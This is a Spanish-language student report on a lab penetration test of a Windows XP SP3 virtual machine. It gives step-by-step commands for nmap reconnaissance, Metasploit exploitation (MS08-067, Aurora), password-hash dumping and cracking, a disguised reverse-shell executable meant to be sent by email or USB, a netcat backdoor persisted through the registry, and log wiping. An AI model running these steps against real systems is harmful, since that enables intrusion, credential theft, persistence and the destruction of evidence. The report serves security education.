López Pineda Greys Paola – Martínez Meza Howard Andrés – Ojeda de la Hoz José CarloPenTesting Windows XP SP3 A través de este informe de pentesting detallaremos cada una de las fases de la metodología de ethical hacking llevadas a cabo por el grupo para lograr la penetración de una máquina Windows XP SP3 Contenido Marco Teórico ............................................................................................................................... 2 Fase 1 – Reconocimiento (Reconnaissance) ............................................................................. 2 Fase 2 – Escaneo (Scanning)...................................................................................................... 2 Fase 3 – Ganar Acceso (Gaining Access) ................................................................................... 3 Fase 4 – Mantener el Acceso (Maintaining Access) .................................................................. 3 Fase 5 – Cubrir las huellas (Covering Tracks) ............................................................................ 3 PenTesting Windows XP SP3 ......................................................................................................... 5 1. 2. Fase de Reconocimiento ................................................................................................... 6 Fase de escaneo .............................................................................................................. 10 2.1 2.2 3. Escaneo de Puertos .................................................................................................. 10 Escaneo de Vulnerabilidades................................................................................... 11 Fase de Ganando Acceso/Explotación ............................................................................ 16 3.1 3.2 3.3 Penetración # 1 ....................................................................................................... 17 Penetración # 2 ....................................................................................................... 19 Penetración # 3 ....................................................................................................... 22 4. 5. Fase Mantener Acceso .................................................................................................... 25 Fase Cubrir Huellas .......................................................................................................... 26 Marco Teórico De ante mano la palabra de PenTesting que en sentido completo seria Penetration Test. las cuales son1: Fase 1 – Reconocimiento (Reconnaissance) El reconocimiento se refiere a la fase preparatoria donde el atacante obtiene toda la información necesaria de su objetivo o víctima antes de lanzar el ataque. si en la Fase 1 el atacante descubrió que su objetivo o su víctima usa el sistema operativo Windows XP entonces el buscara vulnerabilidades específicas que tenga ese sistema operativo para saber por dónde atacarlo. donde están localizados los routers (enrutadores). También hace un escaneo de puertos para ver cuáles son los puertos abiertos para saber por cual puerto va entrar y usa herramientas automatizadas para escanear la red y los host en busca de más vulnerabilidades que le permitan el acceso al sistema.wisedatasecurity. WISE DATE SECURITY .com/5-fases-ataque-hacker.html] Consultado: 28/08/11. cuales son los host (terminales. 1 . buscar en las bases de datos del Internet (Whois) información como direcciones de Internet (IP). servidores de email y toda la información que se pueda extraer de los DNS (Domain Name Server). Cada ataque sigue una metodología establecida la cual se divide en fases. buscar en la basura (Dumpster diving).Las 5 fases de ataque de un Hacker: Anatomía de un ataque. En el escaneo el atacante utiliza toda la información que obtuvo en la Fase del Reconocimiento (Fase 1) para identificar vulnerabilidades específicas. cuales son los puertos que están abiertos. Esta fase le permite al atacante crear una estrategia para su ataque. Esta fase también puede incluir el escaneo de la red que el Hacker quiere atacar no importa si el ataque va a ser interno o externo. Disponible Online: [http://www. Esta fase puede incluir la Ingeniería Social. información de contacto. computadoras) más accesibles. Esta fase le puede tomar bastante tiempo al Hacker ya que tiene que analizar toda la información que ha obtenido para lanzar el ataque con mayor precisión. Fase 2 – Escaneo (Scanning) Esta es la fase que el atacante realiza antes de la lanzar un ataque a la red (network). nombres de dominios. hace referencia al método de evaluación de la seguridad de un sistema computacional o red a través de ataques de fuente maliciosa. buscar que tipo de sistema operativo y aplicaciones usa el objetivo o víctima. Por ejemplo. sesión hijacking (secuestro de sesión). Fase 4 – Mantener el Acceso (Maintaining Access) Una vez el Hacker gana acceso al sistema objetivo (Fase3) su prioridad es mantener el acceso que gano en el sistema. sobre el LAN (Local Area Network). habilidades y conocimientos sobre seguridad informática y redes que tenga el Hacker y el nivel de acceso que obtuvo al principio de la penetración (Fase 3). En esta fase el Hacker puede tener la habilidad de subir. También usan los caballos de Troya (Trojans) para transferir nombres de usuarios. en esta fase el Hacker explota las vulnerabilidades que encontró en la fase 2. En esta fase el Hacker usa sus recursos y recursos del sistema y usa el sistema objetivo como plataforma de lanzamiento de ataques para escanear y explotar a otros sistemas que quiere atacar. En esta fase el hacker quiere permanecer indetectable y para eso remueve evidencia de su penetración al sistema y hace uso de Backdoor (puertas traseras) y Troyanos para ganar acceso en otra ocasión y tratar de tener acceso a cuentas de altos privilegios como cuentas de Administrador. una configuración de seguridad simple significa un acceso más fácil al sistema. otro factor a tener en cuenta es el nivel de destrezas. La explotación puede ocurrir localmente. . también usa programas llamados sniffers para capturar todo el tráfico de la red. o sobre el Internet y puede incluir técnicas como buffer overflows (desbordamiento del buffer). además borrando sus huellas evita ser detectado y ser atrapado por la policía o los Federales. Los factores que ayudan al Hacker en esta fase a tener una penetración exitosa al sistema dependen de cómo es la arquitectura del sistema y de cómo está configurado el sistema objetivo o víctima. denial-of-service (negación de servicios). bajar y alterar programas y data. Fase 5 – Cubrir las huellas (Covering Tracks) En esta fase es donde el Hacker trata de destruir toda la evidencia de sus actividades ilícitas y lo hace por varias razones entre ellas seguir manteniendo el acceso al sistema comprometido ya que si borra sus huellas los administradores de redes no tendrán pistas claras del atacante y el Hacker podrá seguir penetrando el sistema cuando quiera. incluyendo sesiones de telnet y FTP (File Transfer Protocol).Fase 3 – Ganar Acceso (Gaining Access) Esta es una de las fases más importantes para el Hacker porque es la fase de penetración al sistema. offline (sin estar conectado). y password cracking (romper o adivinar claves usando varios métodos como: diccionary atack y brute forcé atack). passwords e incluso información de tarjetas de crédito almacenada en el sistema. Tunneling.Las herramientas y técnicas que usa para esto son caballos de Troya. . Rootkits y la alteración de los “log files” (Archivos donde se almacenan todos los eventos ocurridos en un sistema informático y permite obtener información detallada sobre los hábitos de los usuarios). Steganography. una vez que el Hacker logra plantar caballos de Troya en el sistema este asume que tiene control total del sistema. la cual es una máquina de tipo cliente. Máquina Atacante Fig 2.PenTesting Windows XP SP3 Para este laboratorio de PenTesting utilizaremos el entorno VMware Workstation en el que portaremos las máquinas. Fig 1. en este caso nuestro objetivo de prueba es una máquina Windows XP Profesional SP3. tanto la máquina atacante (Back Track) como la máquina víctima. Máquina Victima . Estando en nuestro entorno de trabajo hacemos primeramente un reconocimiento propio para conocer nuestra dirección IP y la red en la que nos encontramos.168. Para ello hacemos uso del nmap y digitamos nmap -sP 192.* Fig 3.1. luego realizamos escaneo de la red para llegar a determinar cuál es la dirección IP de la víctima. Escaneo de Red para identificar Hosts activos . certeza del tipo de sistema operativo que tiene. digitamos entonces ifconfig. usuarios que posee la máquina. Fase de Reconocimiento Recogeremos toda la información de nuestra víctima que nos pueda ayudar a través del resto de las fases sucesivas como son las direcciones IP.1. Identificación de nuestra dirección IP Fig 4. 192.1.168. Descartamos la dirección IP 192.8 Ahora proseguiremos a hacer pruebas para determinar con más detalle el tipo de sistema operativo que corre sobre la víctima.1.168.10 como de antemano sabemos que es una máquina Windows procedemos a buscar una marca que nos lo identifique. para ello hacemos ping a las maquinas para buscar una marca en la ttl que nos indique que sea una máquina Windows. Utilizaremos comandos diferentes para determinarlo y comparar respuestas.1.8 y 192.Como vemos.1.168. sabemos que la ttl para maquinas Windows es ttl=128.10 la cual sabemos que es de nuestra máquina de Back Track. . hay 3 host activos en la red que tienen dirección IP: 192.1.168.168. Fig 5.1. Haciendo Ping a los hosts de la red para identificar las ttl Como vemos la máquina que identifica a un equipo Windows dentro de nuestra red configurada es la que tiene dirección IP 192. 168.Usando: nmap -sV -O 192.8 .8 Fig 6.168.168.1.1.168.1.8 Fig 7. Identificando SO de la víctima mediante nmap -sV -O2 192.8 Usando: namp -sV -O2 192. Identificando SO de la víctima mediante nmap -sV -O 192.1. digitamos entonces: nmap –sV --script smb-enumusers 192. Para nuestro cometido de sacar los usuarios de nuestra maquina victima primero debemos estar en la ruta donde se almacenan los scripts../usr/local/share/nmap/scripts Fig 8.1.Como vemos las respuestas arrojadas nos dan la certeza de que se trata una maquina Windows y las versiones que tienen más probabilidad de ocurrencia en el resultado atinan a un Windows XP con SP3.8 –p 445 . Las tareas que se pueden realizar con el NSE se agrupan en: descubrimiento de red.168. En la ruta de los scripts del NSE Estando allí en la ruta podemos hacer uso del script con el que conoceremos los usuarios de la maquina víctima. que además permite que los usuarios puedan escribir y compartir scripts para realizar multitud de tareas. para ello hacemos uso del Nmap Scripting Engine (NSE) esta es una potente funcionalidad del Nmap que permite la ejecución de scripts. detección de versiones de servicios mejorada. detección de gusanos y backdoors. explotación de vulnerabilidades. detección de vulnerabilidades. Lo siguiente que haremos para seguir en nuestra búsqueda de información es averiguar los usuarios que tiene la maquina. en la versión de Backtrack 5 esa ruta se logra digitando cd . Fase de escaneo Esta fase incluye unas subdivisiones que corresponden a escaneo de puertos y servicios. nos preparamos para ir avanzando a la siguiente fase. Examinación de Usuarios en la máquina victima Como podemos notar hay cuatro usuarios en la maquina víctima: Administrator. que servicios están corriendo sobre esos puertos y que versiones de esos servicios se presentan. 2. Guest.1 Escaneo de Puertos Para esta tarea podemos valernos de la herramienta nmap para hacer diversos tipos de escaneo. En este punto podemos decir que tenemos información útil referente a nuestra víctima. o si bien deseamos podemos utilizar la herramienta de tipo grafico llamada Zenmap. que utiliza como base nmap. Haremos un escaneo de tipo agresivo para determinar que puertos están abiertos. HelpAssistant. . 2. y escaneo de vulnerabilidades. Student y SUPPORT_388945a0 dos de los cuales tienen RID de 5XX lo que indica que estos poseen privilegios administrativos.Fig 9. Escaneo de Puertos y Servicios Como podemos observar tenemos dos puertos activos en la máquina. el 139 y el 445. Para el escaneo automatizado a través de Nmap necesitamos inicialmente crear una base de datos. en nuestro caso utilizamos una base de datos con el nombre de metasploit en el motor de PostgreSQL. posteriormente necesitamos guardar el escaneo realizado con el nmap. aplicamos el autopwn sobre los datos guardados y este según los parámetros ingresados nos mostrara los exploits que vulneran esos puertos abiertos en la victima y probara cada uno mediante una conexión en reversa para otorgarnos al finalizar el . 2. luego necesitamos conectarnos a esa base de datos. sobre el primero está corriendo el servicio de netbios-ssny sobre el 445 el servicio Microsoft-ds. Los dos primeros fueron automatizados y equivalentes. el primer escaneo fue a través de nmap y apoyándonos con el autopwn.2 Escaneo de Vulnerabilidades Para esta labor realizamos tres procesos. el segundo escaneo que fue equivalente al primero fue a través de OpenVAS e igualmente apoyándonos con autopwn y el último proceso lo realizamos a través de del Nmap Scripting Engine. si algo podemos notar es que sobre ambos puertos actúa el protocolo SMB que en sentido completo es “Server Messages Block” de lo cual nos podemos valer para identificar en el paso siguiente posibles vulnerabilidades. en ultimas.Fig 10. en caso satisfactorio. Esto lo presentamos a continuación: .proceso. cierto número de sesiones de meterpreter. Fig 11. Escaneo de Vulnerabilidades con Nmap y autopwn . se trata de la ms08_067_netapi. este proceso automatizado nos ha arrojado como resultado concreto. El segundo proceso automatizado es muy similar al que acabamos de describir. este reporte será el que guardaremos en una base de datos de nombre winxp para luego aplicar de igual manera el autopwn como veremos a continuación: Fig 12. o también conocida como explotación. la vulnerabilidad encontrada es bien conocida gracias a los boletines de Microsoft. el cual nos ha arrojado un reporte completo. lo hemos hecho a través de OpenVAS. Tenemos dos sesiones activas.Como pudimos observar. pero ese paso quedara presentado en la próxima fase de ganando acceso. podríamos interactuar con ellas y acceder de manera inmediata a la máquina. una vulnerabilidad luego de haber intentado con 101 módulos posibles. Conectando a la base de datos winxp e importando el archivo OpenVAS.nbe . la cual se vale de una falla de análisis en el código del camino de netapi32. las variantes han sido que: en vez de utilizar un escaneo desde el nmap.dll a través del servicio de servidor para luego darnos acceso. esto se debe a que el escaneo realizado por el OpenVAS va más allá de hallar vulnerabilidades por la simple igualación de puertos sino que también consulta información externa. El tercer proceso que realizamos para también identificar vulnerabilidades de la víctima valiéndonos de las herramientas de nuestra maquina atacante fue la utilización de un script de la librería de scripts del NSE. en este caso utilizamos el smb-checkvulns.Fig 13. como vemos a continuación: . y se refleja claramente el número de módulos que nos trajo como posibles vulnerabilidades. Escaneo de vulnerabilidades con OpenVAS y autopwn Como pudimos observar el resultado presentado esta vez nos arrojó 3 sesiones con las que podemos interactuar directamente. Para seguir con nuestra labor y pasar a la siguiente fase. En este punto podemos decir que los tres procesos nos dan como balance la penetración del sistema pero solo gracias a la vulnerabilidad MS08_067. Fase de Ganando Acceso/Explotación Luego de tener identificada ciertas vulnerabilidades de la maquina victima procedemos a ganar acceso a ella a través de lanzamiento de exploits que exploten dichas vulnerabilidades.Fig 14. Escaneo de vulnerabilidades a través de NSE Aquí también nos arrojó ciertas vulnerabilidades del sistema pero fijémonos que algunas están deshabilitadas y que se sigue resaltando la vulnerabilidad de MS08_067. esto basado primordialmente en igualación de los puertos abiertos y en los módulos que están en la base de datos del metasploit. . 3. optaremos por tomar la consideración que nuestra maquina víctima es una maquina Cliente y que luego de una obtención de claves y revisión de los aplicativos de la maquina podemos lanzar ataques Client-Side. Para ello proseguimos como sigue: Fig 15. Posteriormente configuramos las direcciones del host local y la del host remoto. en nuestro caso probamos con un payload de meterpreter y de modo reverse para curarnos en salud y que la penetración sea exitosa aun cuando en la maquina victima haya un firewall.3. Configuración del exploit ms08_067_netapi Como vemos tenemos que cargar el exploit mediante el comando use Windows/smb/ms08_067_netapi luego configuramos el payload asociado que le vamos a cargar. en final de cuentas mostramos las opciones en pantalla para ver cómo va la configuración.1 Penetración # 1 Para esta penetración nos valdremos de la vulnerabilidad identificada en todos los escaneos de vulnerabilidades que realizamos. .dll a través del servicio de servidor para luego darnos acceso. se trata de la ms08_067_netapi que como habíamos dicho se vale de una falla de análisis en el código del camino de netapi32. cuando todo esté listo podemos proseguir a lanzar el exploit digitando exploit. con esto lograremos tener en nuestro poder las claves reales de estos usuarios. Examinando algunas que otras cosas podemos identificar el id del usuario con que estamos en la máquina. Ophcrack trabaja sobre tablas rainbow en algunos casos necesitaremos obtener estas tablas para obtener resultados satisfactorios en el desencriptamiento. este archivo guarda los hashes de los usuarios de la máquina.Fig 16. Logrando el acceso a la maquina a través del exploit ms08_067_netapi Ya estando dentro de la maquina lo que podemos hacer depende de nuestra imaginación. Luego de tener estos hashes los llevamos a una aplicación que nos ayude a desencriptarlas. hacer un dump del archivo SAM. podemos mirar en que directorio estamos y algo que resulta interesante. Utilización de Ophcrack para desencriptamiento de los hashes . a Ophcrack por ejemplo. Fig 17. 168. seguido a esto configuramos la dirección del local host con 192. ganaremos control sobre la máquina.3 y el Uripath lo configuramos como /.2 Penetración # 2 Con esta penetración al igual que la anterior. Primeramente cargamos el exploit digitando use exploit/Windows/browser/ms10_002_aurora Luego le cargamos el payload respectivo. 3. en esta penetración nos basaremos en un ataque Client-Side para llevar a final termino nuestro cometido. por ende podemos vulnerar aquellas aplicaciones que el cliente de la maquina utiliza.1.Luego de someter los hashes a este proceso y utilizando una tabla rainbow xp_small_free logramos obtener las claves de los usuarios: Administrator y Student. por ello. Así como se muestra: . en nuestro caso le cargaremos un windows/meterpreter/reverse_tcp. Buscando referencias de las aplicaciones de las maquinas nos topamos que tenía instalado un Explorador: Internet Explorer versión 6. esta versión del internet Explorer es vulnerable al exploit conocido como Aurora. pero esta vez nos vamos a valer del precepto de que nuestra víctima es una maquina cliente. las cuales son en su orden P455w0rd y L34rn1ng. una vez logrado esto. procedemos a explotar. esa dirección IP debemos lograr que sea accedida por un usuario en la maquina víctima.Fig 18. el resultado arrojado es referente a que un servidor se ha iniciado en nuestra dirección local. el código malicioso nos otorgara una sesión. Configurando el exploit ms10_002_aurora Luego que tenemos todo configurado. . con lo cual lograremos nuestro cometido. Ganando Acceso a través de la vulnerabilidad Aurora mediante un ataque Client-Side Como vemos. . hemos logrado penetrar en la máquina de una segunda manera.Fig 19. de la manera que queramos. sabemos que nuestra víctima es una maquina Windows y que es vulnerable con los ejecutables. los famosos . crearemos un . una memoria usb.3.3 Penetración # 3 En esta tercera penetración también nos valemos de técnicas de explotación ClientSide.1.3:4444.exe con esto logramos crear un ejecutable en el escritorio que tiene por nombre Interesante.exe y el cual va a poseer un payload de conexión reverse a través de meterpreter al socket 192.3 lport=4444 X > /root/Desktop/Interesante. Todo el proceso se ilustra a continuación: Primero digitamos msfpayload Windows/meterpreter/reverse_tcp lhost=192. En definitiva. poner iconos. cuando el usuario que actúa sobre la maquina victima lo abra el código malicioso se ejecutara para darle paso a las acciones que programamos y otorgarnos una sesión en la máquina.exe configurado .exe el cual le haremos llegar a la maquina victima a través de un correo.exe podemos hacer un . luego de tener el .168.168. Fig 20. Creando .1.exe como tal.exe caracterizado el cual este configurado con los parámetros que le indiquemos para realizar una acción programada por nosotros para ganar acceso en la máquina. ponerle un nombre atractivo pero en esencia cumplirá la misma labor. lo podemos maquillar. regalarle.exe vamos ahora a hacer uso del exploit handler que va a estar configurado de la misma manera. con el mismo payload pero este estará a la espera de esa comunicación. ahora el paso siguientes es enviarle. Haciendo uso del exploit handler a la espera Aquí podemos notar ya que el exploit handler está a la espera.exe a un usuario de nuestra maquina víctima. digitamos msfcli exploit/multi/handler payload=Windows/meterpreter/reverse_tcp lhost=192. Para lograr hacer uso del handler. etc. .3 lport=4444 E Fig 21.168. el archivo Interesante.Luego de crear el . darle.1. Fig 22. Logrando el cometido . Fig 23.exe y este lo ejecuta podemos ver que es lo que pasa en nuestra maquina atacante.exe configurado a la victima Después de que le hemos pasado el . Pasándole el . agregamos el programa al registro de Windows para que cada vez que se inicie la maquina nuestro proceso inicie con ella. en nuestro caso le colocaremos en el 445 y ejecutándose como demonio. Subiendo NetCat a la maquina víctima. el fin como tal de mantener acceso es en concepto de que no tengamos que volver a realizar todo el proceso de explotación sino que por ejemplo creemos una puerta trasera. es decir de manera oculta. Fase Mantener Acceso Así como cada fase depende de la anterior. que sin un esfuerzo adicional podamos tener acceso a la víctima luego de haberla penetrado. cargar el exploit de exploit/multi/handler. 4. Para esta fase crearemos un Back Door valiéndonos de alguna de las penetraciones anteriores. ejecutándolo y agregándolo al registro de Windows Ahora solo basta con salir de la sesión de meterpreter. el proceso de creación de un Back Door puede también realizarse de diversas maneras. Para ello seguimos los pasos siguientes: Subimos a nuestra maquina victima el Netcat para instalarlo y ejecutarlo en la maquina como un servidor a la escucha en un puerto especifico. configurarlo con un payload window/shell_bind_tcp y luego . en esta instancia crearemos un Back Door estable y lo realizaremos a través de una sesión de meterpreter ya obtenida. Luego de ejecutarlo. Todo lo vemos a continuación: Fig 24.Una vez más hemos logrado nuestro cometido y nos hemos hecho con una sesión dentro de la víctima. esta está íntimamente ligada a la de la explotación. en este caso será el puerto 445. Borrando Huellas de la maquina victima . 5. si estamos en una sesión de meterpreter resulta sencillo. como se muestra: Fig 26. Conectándose a la maquina victima a través del Back Door Con esto tenemos listo nuestra puerta trasera para mantener el acceso a la víctima. Fig 25. con un simple comando podemos borrar el compilado de logs. Fase Cubrir Huellas En esta fase lo que hacemos es borrar el rastro que hemos dejado luego de la penetración a la máquina.configurar el puerto local por el que hemos configurado anteriormente.